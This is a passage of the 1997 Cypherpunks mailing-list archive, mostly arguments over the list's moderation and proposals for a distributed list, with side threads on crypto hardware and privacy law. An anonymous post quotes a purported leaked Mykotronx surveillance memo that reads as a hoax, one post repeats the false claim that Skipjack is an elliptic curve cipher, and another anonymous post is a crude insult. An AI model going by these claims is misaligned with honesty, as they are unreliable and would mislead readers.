something I've been thinking about. An interesting way to look at what happened is that John Gilmore owns the name "cypherpunks at toad.com" and has chosen to exercise that ownership. Even though those of us who disagree with the way he has done so are free to leave and set up our own mailing list, it is costly to do so, and the problem of central name ownership remains. List subscribers have made investments that are specific to the name "cypherpunks at toad.com", and most of the cost of switching to a new list is in the new investments they would have to (re)make. The fact is that a promise of no censorship is not enough incentive for us to do so. I suspect that the hierarchical nature of name ownership on the Internet today will be an important technological barrier for the establishment of truly anarchic virtual communities. Unless this problem is solved, the closest we'll come is pseudo-anarchies that exist with the tolerance of beneficent dictators. Wei Dai From PADGETT at hobbes.orl.mmc.com Mon Feb 3 17:41:11 1997 From: PADGETT at hobbes.orl.mmc.com (A. Padgett Peterson P.E. Information Security) Date: Mon, 3 Feb 1997 17:41:11 -0800 (PST) Subject: RC5-12/32/5 contest solved Message-ID: <199702040141.RAA09191@toad.com> >I received a nice flyer in the mail the other day from "Chip Express" >(www.chipexpress.com, 800-95-CHIPX). They are offering Laser >Programmed Gate Arrays. It appears to be a reasonable way to get some >Wiener chips built. As I recall, the Wiener design required about >23,000 gates. Their blurb had the following table in in: > FPGA Gates ASIC Gates 500 Units 1000 Units 5000 Units > 40,000 20,000 $77 $45 $10 > Not Avail 200,000 $176 $150 $82 First I can buy a 486DX-66 (with fan) for $37, but to make it into a PC takes just a wee bit more. Second, there is a world of difference in speed between a Field Programmable Gate Array and an Application Specific Integrated Circuit. The second is much faster (have heard of up to 200 Mhz) but doubt that you can get there with a laser (probably where the 50 Mhz figure comes from). I suspect you will need to have a mask made first - that is where the real money goes. However lets consider that you are really lucky and the first mask works and you get 100% yield (good chips). Next you need a backplane with an input mechanism to prime each of those chips with the text to break (will assume you have built in the initialization sequences for each chip). Then you need a path to provide the KPT to the XOR at the output, powersupply, RF shielding, and a few other minor items (can probably use a PC for a front end). Then, you need a way to report success but that is trivial. Finally, you need to hope that none of those 5000 chips experiences infant mortality or that you have some scheme to detect if that happens and to which chip (was there BITE in the design ?). Personally, would design the 5,000 to provide possible answers (say 2^32) as an initial step and then push that into a single MasPar or similar. Might find out some interesting things that way while reducing the overall complexity. Just some food for thought. Warmly, Padgett ps couple of people last year were working with FPGAs, I corresponded with them briefly. Why not ask them how my "guesstimates" correlated with their experiments... From roach_s at alph.swosu.edu Mon Feb 3 17:41:20 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Mon, 3 Feb 1997 17:41:20 -0800 (PST) Subject: VOICE STRESS ANALYSIS Message-ID: <199702040141.RAA09207@toad.com> At 08:25 PM 2/2/97 -0800, jim bell wrote: >Awhile back we were discussing voice-stress analysis; just got this item on >the subject; he said it's okay to post it. > > > >>From: Spectre334 at aol.com >>Date: Sun, 2 Feb 1997 09:31:17 -0500 (EST) >>To: jimbell at pacifier.com >>cc: BLAMES2778 at aol.com, AFSCA at aol.com, JLeek426 at aol.com >>Subject: VOICE STRESS ANALYSIS >> >>MR. BELL: >> >>I FOUND YOUR QUERY ABOUT VOICE STRESS ANALYSIS ON THE INTERNET, AND I TOO, >>HAVE FOUND A DEARTH OF INFORMATION THERE - UNTIL NOW. >> >>I'M PLEASED TO REPORT THAT VOICE STRESS ANALYSIS (VSA) IS ALIVE AND WELL. IT >>HAS BEEN QUIETLY PERFORMING IN THE SHADOW OF THE POLYGRAPH FOR MANY YEARS. >> NOW, HOWEVER, IT IS COMING INTO ITS AND IS USED IN MANY STATES TO AID IN >>CRIMINAL INVESTIGATIONS AND OTHER APPLICATIONS. >> ... >>THE DIOGENES GROUP, INC., OF WHICH I AM PRESIDENT, HAS DEVELOPED A TOTALLY >>DIGITAL APPROACH TO VSA, AND BEGAN DELIVERING SYSTEMS TO LAW ENFORCEMENT >>AGENCIES IN DECEMBER, 1996. THE PREMIER DIOGENES VSA PRODUCT IS REDUCED TO >>THE SIZE OF A NOTEBOOK COMPUTER, BUT PRODUCES REALTIME PROCESSING FOR >>SOFTCOPY DISPLAY, AND HARDCOPY PRINTING WITHIN SECONDS. >> >>YOU MAY BE FAMILIAR WITH THE PREVIOUS STATE-OF-THE-ART, WHICH WAS A >>RELATIVELY LARGE ANALOG MACHINE, USING A SINGLE CHANNEL AND PRINTING OUT THAT >>DATA ON A ROLL OF THERMAL PAPER. THOSE DAYS ARE GONE FOREVER. >> >>IF YOU WOULD LIKE MORE INFORMATION ON THE DIOGENES GROUP AND ITS PRODUCTS, >>PLEASE USE THIS CHANNEL TO SEND ME YOUR MAILING ADDRESS, PHONE NUMBER, AND >>FAX NUMBER. >> >>THANKS FOR YOUR INTEREST IN VOICE STRESS ANALYSIS. ... Check the Readers Guide for the last couple of years. I don't have my Popular Electronics collection handy, but not too long ago they put out the plans to a smaller unit based around some Cell Phone part. It operated on a single frequency as opposed to a varient modulation of the voice. This allowed the unit to be much smaller and simpler, sacrificing some of the accuracy for a reasonable price (PC board, parts and case available for, I think, less than $100). The whole unit fit in a case about the size of a transistor radio and used a couple of bar graph displays (LED) for output. The whole operating theory is regulary printed with the schematics, and a parts list and foil diagrams are included for those who want to make the project from scratch. While your at it, look up the subliminal mixer from about 1992, I made one of these and only prevented from using it by the lack of a decent power supply. The single frequency mentioned above is further explained in the text. The local library can get a copy of either of these issues, or any others that catch your interest, for you if you ask really nicely. From aba at dcs.ex.ac.uk Mon Feb 3 17:41:22 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Mon, 3 Feb 1997 17:41:22 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <199702040141.RAA09208@toad.com> Peter Hendrickson writes: > There are lessons to be learned here. One is that censorship does > not promote a stimulating and creative dialogue. The cypherpunks list > right now is about as interesting as hanging out by the 7-11. Censorship adds a social hierarchy, and this is inevitably resented. A similar problem existed with ICS (Internet Chess Servers), they include a MUD like facility where users can discuss chess. For misc reasons certain behaviour was frowned on, and a system of control was added to the software where certain users where given moderator status, and could kick others off. The fact that some of the moderators were particularly poor players helped to annoy others who though outspoken, where good chess players, and led to the particularly long thread in alt.chess (or whatever group it was) titled `guppies rule the goldfish bowl' or something. (A `fish' is a newbie chess player, a guppie being a small fish,...) Interesting repetition of the social phenomena of resentment of power in electronic forums (however well intentioned, and for whatever perceived social good). > Another lesson is the danger of choke points. We can see how > tempting it is for people to exercise their control. Even John Gilmore > was unable to restrain himself from involuntary social engineering > experiments. Who would we have considered to be more trustworthy? Quite. For a pedigree of championing free speech, and unpaid efforts to further freedom, he was high up on the list. I'd feel happier if he was joining in with these discussions, rather than getting interested to the extent to set up moderation, even though not participating in the discussions. > [distributed list homing ideas] sounds good. But what about USENET groups? They're distributed, what feature of your proposed solution is superior to using USENET groups distribution mechanisms in your opinion? Several times in the past, a USENET newsgroup alt.cypherpunks was suggested. Some people were against it because they felt that it would attract more noisy posters. Perhaps it is time to reconsider the benefits of alt.cypherpunks. (As an aside, it is ironic that John Gilmore was the guy who started the alt.* USENET hierarchy, specifically to facilitate freedom of speech). > P.S. I like and respect John and Sandy and I've learned a lot from > both of them. While basically well-intentioned, they just made a > mistake in this instance. Agree. Also, the quicker they acknowledge their actions as mistakes, and correct the results, the less their reputations will suffer. Perhaps at the end of the trial moderation experiment would be a good time to change position without loosing face. (If acknowledging mistakes bothers them). Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 My favorate Ben Franklin quote is "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." - Ben Franklin, ~1784 From ichudov at algebra.com Mon Feb 3 17:46:41 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Mon, 3 Feb 1997 17:46:41 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <199702040027.AAA00276@server.test.net> Message-ID: <199702040139.TAA01626@manifold.algebra.com> Adam Back wrote: > > Perhaps it is time to reconsider the benefits of alt.cypherpunks. (As > an aside, it is ironic that John Gilmore was the guy who started the > alt.* USENET hierarchy, specifically to facilitate freedom of speech). > An interesting idea. - Igor. From nobody at zifi.genetics.utah.edu Mon Feb 3 17:51:50 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Mon, 3 Feb 1997 17:51:50 -0800 (PST) Subject: RSA Algorithm Message-ID: <199702040151.SAA12297@zifi.genetics.utah.edu> Drunkard Vagina has been fired for masturbating in front of his boss. ^-^-^-@@-^-^-^ (..) Drunkard Vagina From farber at cis.upenn.edu Mon Feb 3 17:55:51 1997 From: farber at cis.upenn.edu (David Farber) Date: Mon, 3 Feb 1997 17:55:51 -0800 (PST) Subject: concerning Ben Franklin Message-ID: <199702040155.RAA09584@toad.com> My favorate Ben Franklin quote is "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." - Ben Franklin, ~1784 From sandfort at crl.crl.com Mon Feb 3 17:56:06 1997 From: sandfort at crl.crl.com (Sandy Sandfort) Date: Mon, 3 Feb 1997 17:56:06 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702040156.RAA09599@toad.com> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, On Mon, 3 Feb 1997, Scott V. McGuire wrote: > Sandy, you said that you thought the list had improved since you began > moderating. How could you think otherwise? When you send an article to > the flames list its because you think the list would have been worse > otherwise. If I wasn't clear, I'm sorry. I think the quality of content and the degree of civility have improved. My extreme example was the increase in polite, on-topic posts from Dimitri, but are others. That's the sort of improvement to which I was referring. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From shamrock at netcom.com Mon Feb 3 17:56:45 1997 From: shamrock at netcom.com (Lucky Green) Date: Mon, 3 Feb 1997 17:56:45 -0800 (PST) Subject: Moderation [Tim,Sandy] Message-ID: <199702040156.RAA09627@toad.com> At 11:48 PM 2/3/97 GMT, Adam Back wrote: > >Lucky Green writes: >> I believe that Cypherpunks is beyond hope of recovery. In fact, each day >> Cypherpunk (as in cypherpunks at toad.com) lives on, it does damage to the >> cause. Let's kill the list. Once and for all. Let the hard core crypto go >> to Coderpunks, the politics to Cryptography, and the garbage into the void. > >What about the leaks? (rc4.c, Mykotronics dumpster contents, etc) >Where do they go? I have been thinking about this question. I don't really have an answer other than that the more recent leaks posted to this list drew zero response. How many of you remember the anonymous message posted to this list revealing that Skipjack is an elliptic curve cipher? [One of the most respected names in cryptography confirmed this to me in private conversation. No, the person was not privy to the secret specs. The person didn't need to be. :-] If nobody cares about the leaks, why do we need to provide a forum for them? Besides, there are other fora that could be used. sci.crypt or Coderpunks are both good places to post "found" code. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From rah at shipwright.com Mon Feb 3 17:56:48 1997 From: rah at shipwright.com (Robert Hettinga) Date: Mon, 3 Feb 1997 17:56:48 -0800 (PST) Subject: Embarrass a Marylander, Go to Jail Message-ID: <199702040156.RAA09633@toad.com> --- begin forwarded text Date: Mon, 3 Feb 1997 19:25:51 -0500 (EST) To: Multiple Recipients of e$pam From: e$pam at intertrader.com (e$pam) Reply-To: e$@thumper.vmeng.com X-Comment: To unsubscribe, send any email to e$pam-off at intertrader.com Precedence: Bulk Subject: Embarrass a Marylander, Go to Jail X-orig-from: Randy Cassingham X-e$pam-source: Various Forwarded by Robert Hettinga ----------------------------------------------------------------------- Date: Mon, 3 Feb 1997 14:37:56 -0700 (MST) From: Randy Cassingham Subject: Embarrass a Marylander, Go to Jail To: listmom-talk at skyweyr.com Mime-Version: 1.0 Precedence: Bulk Reply-To: listmom-talk at skyweyr.com Passed on without comment. / Randy Cassingham * Author, "This is True" * arcie at netcom.com \ | For info on What I Do, send a blank e-mail to TrueInfo at freecom.com | \ or check out * I promise you'll like it / + FIGHT SPAM! Send a blank e-mail to nospam at mailback.com for help! + ---------- Forwarded message ---------- Excerpted from... ============================================================= AOP Bulletin Friday, February 3, 1997 Volume 97:05 ============================================================= The following is information distributed to members of the Association of Online Professionals and others involved in the online communications industry. Contacts and other information about AOP may be found at http://www.aop.org. ***************************************************** Maryland Recycles Law On "Annoying" E-Mail ***************************************************** A Maryland bill that would make it illegal to send "annoying" or "embarrassing" e-mail was introduced this week by Democratic General Assembly member Samuel Rosenberg. The bill got little support when it was introduced last year, but Rosenberg hopes to play off of recent murders involving electronic mail to see the bill passed. Civil liberties groups argue that the law would be unconstitutional, and that the terms "annoy" and "embarrass" are too vague to be meaningful. If passed, House Bill 778 would amend the state's criminal harassment law to prohibit the use of email to annoy, abuse, torment, harass, or embarrass other people, with violators receiving a fine up to $500 and three years in jail. A similar bill introduced last year is quietly progressing through New York's state legislature. Senate Bill 1414, introduced by Democratic State Senator Ray Goodman, could be voted on in the House early this year. Full text of the Maryland bill can be found at http://mlis.state.md.us/1997rs/billfile/HB0778.htm. -------------------------------------------------- The e$ lists are brought to you by: Intertrader Ltd - Java e$ Software Developers in the UK Visit for details ... Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info at hyperion.co.uk Like e$pam? Help pay for it! See Or, for e$pam sponsorship, see Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo (Majordomo)^2: Rachel Willmer Commermeister: Anthony Templer Interturge: Rodney Thayer HTMLurgist: Cynthia Zwerling --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From aba at dcs.ex.ac.uk Mon Feb 3 17:56:49 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Mon, 3 Feb 1997 17:56:49 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702040156.RAA09634@toad.com> writes: > in a message allegedly from: "Timothy C. May" > > > I would have had no problem had John announced that he was creating > > a new list, the "Good Stuff" list, with Sandy has his Chooser of > > Good Stuff. > > > But by making the _main list_ the censored one, this skewed things > > considerably. > > > But the clear message by having Sandy censor the > > main list (the default list, the list name with the main name, the > > list we all know about, etc.) > > Now that the horse is out of the barn, ( or maybe not? ), I can't help > but ask whether one specific 'change to the change' would have > satisfied most of your objections: retaining 'cypherpunks' as the > name of the unedited, all-the-crud-you-can-read-and-then-some, > version, and adding an 'cp-worthwhile' list for those of us who prefer > not to wade thru mountains of garbage to glean a few precious tidbits. That was the objectionable part of the moderation experiment to me. > What's in a name? Is perception more important ( to you ) than > reality? If just swapping names between cp and cp-unedited would make > such a large difference, I humbly suggest to you that you consider how > much labels need to matter. Is the title of the group more important > the the content? From where I sit, this looks a lot like a > style-over-substance complaint. There is a lot in a name. The name `Cypherpunks' has, or had a reputation. Tricks like censoring the list are not helping that reputation. This wording indicates that the other two lists are to satisfy purists: (relevant output from sending message with body `lists' to majordomo at toad.com) : cypherpunks (THE MAIN LIST) Fermenting ideas on crypto and society : cypherpunks-flames (FLAMES DELETED BY MODERATOR) Ideas on crypto and society : cypherpunks-unedited (THE UN-MODERATED LIST) Ideas on crypto and society The naming convention indicates that cypherpunks is the main list, as does the ordering (moderated first). The text in the sign up message: (extracts from output from sending message with body `info cypherpunks' to majordomo at toad.com) : cypherpunks moderated to suppress spam and flames : cypherpunks-unedited all submissions, just as they arrived : cypherpunks-flames the submissions that didn't pass moderation Also I note in passing that if I recall correctly this section used to give Hugh Daniel's email address. Seems John is managing majordomo himself now? Is Hugh's no longer being list manager related to the moderation decision? : For other questions, my list management address is not the best place, : since I don't read it every day. To reach me otherwise, send mail to : : gnu at toad.com > It may also be worth noting that the current 'status quo' is a > transient experiment, with a fairly short time limit. When JG, > Sandy, et al. evaluate the results with an eye to future > direction(s), they may well consider an 'inverted default' for the two > list names (i.e.: cp / cp-unedited) It would be nice also if JG, Sandy et al, took some notice of the list opinions next time. It really would have been better to create a _new_ moderated list, rather than take over the existing list address, and subscribers. Maybe those who initiated the moderation experiment thought they wouldn't get many people moving over to the moderated list if they had to go to that effort. Another alternative would have been to discontinue `cypherpunks' and start `cypherpunks-edited' and `cypherpunks-unedited' forcing people to choose. I wouldn't have liked that either, but it would have been a better experiment. (Likely that would have lost many altogether, who simply wouldn't have bothered to resubscribe at all). Several times in the past, a USENET newsgroup alt.cypherpunks was suggested. Some people were against it because they felt that it would attract more noisy posters. Perhaps it is time to reconsider the benefits of alt.cypherpunks. (As an aside, it is ironic that John Gilmore was the guy who started the alt.* USENET hierarchy, specifically to facilitate freedom of speech). Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Adam Back wrote: > > Perhaps it is time to reconsider the benefits of alt.cypherpunks. (As > an aside, it is ironic that John Gilmore was the guy who started the > alt.* USENET hierarchy, specifically to facilitate freedom of speech). > An interesting idea. - Igor. From azur at netcom.com Mon Feb 3 17:58:24 1997 From: azur at netcom.com (Steve Schear) Date: Mon, 3 Feb 1997 17:58:24 -0800 (PST) Subject: Govt & cyberspace Message-ID: [snip] >"tech envy"-- what impact is this going to have on our >government? it's becoming a huge issue. it may be a >really great opportunity for a populist movement to >truly reform the government in the process of upgrading >their computers. Even better, this is an opportunity to choke off all, or certainly increased, funding in order to hasten its collapse. >I suspect that the "groupware" technology >that is just getting started will have major influence >in these areas. as private companies find increasingly >sophisticated ways of managing themselves, the obvious >question will arise, "why can't we have an efficient govt >when our private industries are"? the answer is, we >can!! Don't improve it, remove it! > >I've written about "electronic democracy" repeatedly. many >people object to the idea. but when it is phrased in terms >of groupware, it becomes more palatable. imagine a small >company humming along with its groupware application that >allows it to make company-wide decisions using a democratic >process. moreover, the software is robust and scales well. >why can't the same principles be scaled up, up, up? I predict >that they will be in a rather extraordinary revolution. > >a new "velvet revolution"? comments anyone? Democracy is not without its significant shortcomings. If you doubt this read Tocquevelle. --Steve From aba at dcs.ex.ac.uk Mon Feb 3 17:58:32 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Mon, 3 Feb 1997 17:58:32 -0800 (PST) Subject: Moderation [Tim,Sandy] Message-ID: <199702040158.RAA09697@toad.com> Lucky Green writes: > I believe that Cypherpunks is beyond hope of recovery. In fact, each day > Cypherpunk (as in cypherpunks at toad.com) lives on, it does damage to the > cause. Let's kill the list. Once and for all. Let the hard core crypto go > to Coderpunks, the politics to Cryptography, and the garbage into the void. What about the leaks? (rc4.c, Mykotronics dumpster contents, etc) Where do they go? You expect Perry to stick his neck out and approve them? (Perry Metzger is the moderator of cryptography at c2.net, started recently as a moderated version of cypherpunks for those who don't know what the `cryptography' list is). The existance of cryptography argues against the need for `cypherpunks' to be moderated. Why two competing moderated lists? Secondly the status of garbage is in the eye of the beholder. There are a few posts which are probably considered garbage by near everyone, but lots of other stuff which really just depends on what the reader is interested in. The problem with censorship or moderation is that it waters down the absolutism of free speech. Free speech in electronic media, with cypherpunks type I, and type II remailers, is the closest thing to truly free speech yet. A lot of people seem to regard Jim Bell's assasination politics as suitable material for censoring. Yet it is pretty crypto relevant. Sandy's job is pretty hard to do. For instance I recently posted this, which ended up in cpunks-flames, due to being in a thread which contained a mild flame 2 messages back: : Diffie-Hellman key generation, there are two main ways of generating : the diffie-hellman prime modulus, method 1: : : p = 2q+1 : : where q is a prime also. : : And method 2: : : p = r.2q+1 : : where q is a prime and r is a randomly generated number. : : With method 1, the security parameter is the size of p in bits (or : size of q, as they are related). : : With method 2, there are two security parameters, size of q and size : of p in bits. : : Method 2 has the advantage that key generation is faster as it is : quicker to generate new random numbers r, than to repeatedly generate : trial prime q as you have to do in method 1. However is the security : weaker in method 2? What size of p and q do you have to use to get : the same security as for same size of p in bits as in method 1? What : should be the relationship between the size of p and q? (I freely admit to injecting additional crypto relevance just for the fun of seeing it be filtered cpunks-flames -- though I was interested in discussion also). > I am well aware of the name recognition and reputation capital associated > with CP, still I believe it best to *kill the list*. I'd prefer to see various filtering services offered, and the list retained. My main objection with the moderation experiment is that the main list was renamed. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 > From: ####### ### <###@###.com> > To: ichudov at algebra.com > Subject: Re: Dissolving Choke Points > > ichudov at algebra.com writes: > > i do have unix (linux) and stuff, but i can't take a lot of subscribers > > -- maybe 200-300 or so. > > > > i actually wrote a proposal for a mailing list without a central control > > point, with several advantages being impossibility of control, absense > > of a single point of failure, and cryptographic verification of honesty > > of moderators. > > > > if there is any interest, i will post it here. > > Please do. > > Regards, > > ####### ### Here, I propose a new scheme for the Cypherpunks mailing list that would 1) Ensure that no one person is able to take over the control over the list 2) Ensure that there will be no single point of failure, i.e., shutdown of any single computer will not kill the list 3) Ensure that even people with relatively small Net resources can help keep the list afloat. The idea is as follows: even though Cypherpunks is one group, the group will be based on multiple mailing lists with identical content. These lists may be named, for example, cypherpunks at algebra.com, cypherpunks at toad.com, and cypherpunks at netcom.com (obviously, these names are used as an example only). Any user is free to subscribe to any of these lists. All of these lists will interact with each other in the following way: 1) Each node would forward ALL incoming submissions to a) all other nodes and b) to all subscribers "attached" to the node 2) Each node will send information about all new subscriptions to each other node. The following procmail recipes for cypherpunks@ accounts may be used to ensure quick forwarding: # is it sent to cypherpunks (some spams will be trashed here) # and is it not a mail loop? :0 * ^TOcypherpunks * !^X-Loop: { # # This recipe removes duplicates! # :0 Wh: msgid.lock | formail -D 32768 msgid.cache # forward it to other cypherpunks lists :0 c !cypherpunks at netcom.com cypherpunks at toad.com # send it to all local subscribers :0 c !majordomo -some -arguments # store the checksum and message-id for honesty verification (see below) :0 |accounting } # suSCRibe/unsuSCRibe recipes go here This scheme ensures that the list is run in a cooperative fashion and can be maintained by a number of individuals without any one of them having an expensive internet connection or being "in charge". It also ensures that even if one node fails, traffic can be re-routed to other nodes. Just as well, it ensures that any attempts of cheating will be noticed: it is easy to write a bot that would subscribe to all of these lists and see if any messages get "lost". Users can send their articles to only one node, or, if they feel paranoid, to several nodes at once. All we need is to make sure that all Message-IDs of outgoing messages are unique at every node. Honesty verification: I suppose that there may be some more elaborate, crypto-based schemes to control and monitor article distribution. For example, there can be another list, cypherpunks-control, where each of the nodes posts a publicly available signed summary of checksums of articles that went through, and individual users would be able (with the help of s simple client program) to verify that 1) They received these articles 2) That summaries received from all nodes are identical 3) That all articles were received by all nodes They do not HAVE to do it, but they can if they want. If they do, there will be no way for list maintainers to censor anything. If a node goes down or if the users' verification scripts indicate a potential for cheating, they can resubscribe to some other node and let everyone else know what's going on. My proposal strikes me as fairly simple and potentially workable. Even though 90% of the users will never get to usnig the verification mechanism, it will ensure honesty. Note also that this mechanism is a gross simplification of the way USENET works, so some may vouch for a usenet group instead. Your opinions will be appreciated. - Igor. From roach_s at alph.swosu.edu Mon Feb 3 18:08:08 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Mon, 3 Feb 1997 18:08:08 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <199702040208.SAA09884@toad.com> At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote: ... >Another lesson is the danger of choke points. We can see how >tempting it is for people to exercise their control. Even John Gilmore >was unable to restrain himself from involuntary social engineering >experiments. Who would we have considered to be more trustworthy? > >Toad.com is a choke point, not just in terms of moderation but in >terms of the rate at which it can distribute messages. Let's >replace it. > >What we want are many machines carrying the cypherpunks list. A >message posted to any machine goes to all of the others. Each >machine sends messages to its subscribers only once. Some of >these machines should be across borders. > >The mail loop and multiple posting problems are solved by observing >the message IDs. > >Fast implementation: use moderated mailing list software. Put a >filter in the .forward file of the "moderator" account which looks >at the message ID and forwards the message if it hasn't been seen >already. The mailing list machines all subscribe each other. ... What you are suggesting is reminiscent of IRC. Except, I think that each IRC network has a central computer which could be controlled. On your idea for fast implementation, this could be hacked by would-be censors. A message comes into the list, the censor sees that the post is from a regular enemy. The censor then copies the header information onto a new message, one containing garbage, or snippets from old posts, reads the new post to see if it is acceptable, and if it is, adds a new header, probably only the time would be changed, and transmits it out. If the would be censor was the sysop of a machine near the origin of the message, and if the censor operated the censorship either by bots, or monitored the feed 24 hours a day, (not likely), then the actual message would get to few. From nobody at REPLAY.COM Mon Feb 3 18:10:07 1997 From: nobody at REPLAY.COM (Anonymous) Date: Mon, 3 Feb 1997 18:10:07 -0800 (PST) Subject: More Hacking of the Mykotronx Site! Message-ID: <199702040150.CAA13253@basement.replay.com> Hey, d00dz, remember the dumpster diving at Mykotronx facilities in Torrance? Where they dumped their secret plans for the Clipper chip in the dumpsters right outside their little building in Torrance? Where guys like me could find their spreadsheets for budget planning, production run rates, deals with VLSI Technology, Sandia, and the other NSA stooges? Remember how they suddenly started shredding their papers? Well, it's been 3 years, and apparently the new guys at Rainbow (the parent company) have forgotten their lesson! So, here's the latest stuff: >>>quote * INTERNAL USE ONLY * COMINT-restricted, limited to M3 classifications Distribution beyond M3 a national security felony Mykotronx has agreed to provide to the Estonian government 79.000 MYK-82 processors for its Personnel Surveillance System, as part of the negotiations to provide Observer Status for Estonia in NATO. Negotiations continue between Ambassador Aaron and the NATO nations have established as a minimum that new entrants into the NATO community adhere to the Unified Cryptography Initiative, initialed by NATO ministers in Bruxelles, 10-13-96. Estonia has signified compliance, as noted by their Internal Security Directorate: "Kiipe valimistatakse praegu Californias asuvas firmas MYKOTRONX Ltd. ja ta hind k�igub 10 kuni 30 dollarini olenevalt konkreetsest t��bist ning ta on v�imline kr�pteerima/deshifreerima 15-20 MB/s." Spysrus agrees to integrate into Personel Surveillance System (PSS) modules for Internal Security Service (ISS) use.for over 79,000 of Mykotronx's new Capstone encryption processor (MYK-82). The devices will be used to build part of the Estonian government's order of Fortezza Cryptographic Cards for the PSS awarded November 1996. Initial delivery of the new cryptographic processor will begin June 1997. The MYK-82, developed by Mykotronx and fabricated by VLSI Technology, Inc., is the first of a series of security products to be developed as part of an alliance with the NSA, targeting both Government and commercial citizen monitoring markets. -- From snow at smoke.suba.com Mon Feb 3 18:40:55 1997 From: snow at smoke.suba.com (snow) Date: Mon, 3 Feb 1997 18:40:55 -0800 (PST) Subject: Moderation [Tim,Sandy] In-Reply-To: <199702032011.MAA01053@toad.com> Message-ID: <199702040258.UAA02235@smoke.suba.com> > I believe that Cypherpunks is beyond hope of recovery. In fact, each day > Cypherpunk (as in cypherpunks at toad.com) lives on, it does damage to the > cause. Let's kill the list. Once and for all. Let the hard core crypto go > to Coderpunks, the politics to Cryptography, and the garbage into the void. Correct me if I am wrong, but isn't(wasn't) there an implied threat of moderation on the cryptography at c2.net list? Mr. M started it with the intent of getting away from much of the cruft (ADD, & etc.) that had accumlated here, and he was quite open about moderating it if he thought it needed it. From snow at smoke.suba.com Mon Feb 3 19:25:48 1997 From: snow at smoke.suba.com (snow) Date: Mon, 3 Feb 1997 19:25:48 -0800 (PST) Subject: Moderation [Tim,Sandy] Message-ID: <199702040325.TAA12034@toad.com> > I believe that Cypherpunks is beyond hope of recovery. In fact, each day > Cypherpunk (as in cypherpunks at toad.com) lives on, it does damage to the > cause. Let's kill the list. Once and for all. Let the hard core crypto go > to Coderpunks, the politics to Cryptography, and the garbage into the void. Correct me if I am wrong, but isn't(wasn't) there an implied threat of moderation on the cryptography at c2.net list? Mr. M started it with the intent of getting away from much of the cruft (ADD, & etc.) that had accumlated here, and he was quite open about moderating it if he thought it needed it. From azur at netcom.com Mon Feb 3 19:25:55 1997 From: azur at netcom.com (Steve Schear) Date: Mon, 3 Feb 1997 19:25:55 -0800 (PST) Subject: Govt & cyberspace Message-ID: <199702040325.TAA12048@toad.com> [snip] >"tech envy"-- what impact is this going to have on our >government? it's becoming a huge issue. it may be a >really great opportunity for a populist movement to >truly reform the government in the process of upgrading >their computers. Even better, this is an opportunity to choke off all, or certainly increased, funding in order to hasten its collapse. >I suspect that the "groupware" technology >that is just getting started will have major influence >in these areas. as private companies find increasingly >sophisticated ways of managing themselves, the obvious >question will arise, "why can't we have an efficient govt >when our private industries are"? the answer is, we >can!! Don't improve it, remove it! > >I've written about "electronic democracy" repeatedly. many >people object to the idea. but when it is phrased in terms >of groupware, it becomes more palatable. imagine a small >company humming along with its groupware application that >allows it to make company-wide decisions using a democratic >process. moreover, the software is robust and scales well. >why can't the same principles be scaled up, up, up? I predict >that they will be in a rather extraordinary revolution. > >a new "velvet revolution"? comments anyone? Democracy is not without its significant shortcomings. If you doubt this read Tocquevelle. --Steve From nobody at replay.com Mon Feb 3 19:26:07 1997 From: nobody at replay.com (Anonymous) Date: Mon, 3 Feb 1997 19:26:07 -0800 (PST) Subject: More Hacking of the Mykotronx Site! Message-ID: <199702040326.TAA12074@toad.com> Hey, d00dz, remember the dumpster diving at Mykotronx facilities in Torrance? Where they dumped their secret plans for the Clipper chip in the dumpsters right outside their little building in Torrance? Where guys like me could find their spreadsheets for budget planning, production run rates, deals with VLSI Technology, Sandia, and the other NSA stooges? Remember how they suddenly started shredding their papers? Well, it's been 3 years, and apparently the new guys at Rainbow (the parent company) have forgotten their lesson! So, here's the latest stuff: >>>quote * INTERNAL USE ONLY * COMINT-restricted, limited to M3 classifications Distribution beyond M3 a national security felony Mykotronx has agreed to provide to the Estonian government 79.000 MYK-82 processors for its Personnel Surveillance System, as part of the negotiations to provide Observer Status for Estonia in NATO. Negotiations continue between Ambassador Aaron and the NATO nations have established as a minimum that new entrants into the NATO community adhere to the Unified Cryptography Initiative, initialed by NATO ministers in Bruxelles, 10-13-96. Estonia has signified compliance, as noted by their Internal Security Directorate: "Kiipe valimistatakse praegu Californias asuvas firmas 